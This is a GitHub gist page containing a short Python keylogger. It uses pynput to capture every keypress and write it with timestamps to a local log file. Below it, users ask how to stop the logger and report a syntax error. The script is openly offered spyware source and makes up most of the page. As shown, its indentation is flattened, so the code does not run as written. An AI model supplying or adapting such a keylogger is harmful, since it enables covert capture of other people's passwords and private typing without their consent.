Skip to content

Instantly share code, notes, and snippets.

@jamesgeorge007
Created May 31, 2018 16:51
Show Gist options
  • Star 7 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save jamesgeorge007/cb68fedd8419721f6f4c7a7643181974 to your computer and use it in GitHub Desktop.
Save jamesgeorge007/cb68fedd8419721f6f4c7a7643181974 to your computer and use it in GitHub Desktop.
A simple keylogger made with python.
from pynput.keyboard import Key, Listener
import logging
log_directory = ""
logging.basicConfig(filename = (log_directory + "log_results.txt"), level = logging.DEBUG, format = '%(asctime)s : %(message)s')
def keypress(Key):
logging.info(str(Key))
with Listener(on_press = keypress) as listener:
listener.join()
@saidberk27
Copy link

saidberk27 commented May 18, 2019

Hi, how can i stop logging?

edit: tried sys.exit()

@Ldog8315
Copy link

Ldog8315 commented Apr 5, 2020

in line 4 I'm getting "invalid character identifier" error

@7daylenrobertson
Copy link

in line 4 I'm getting "invalid character identifier" error

It's probably from the quotations

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment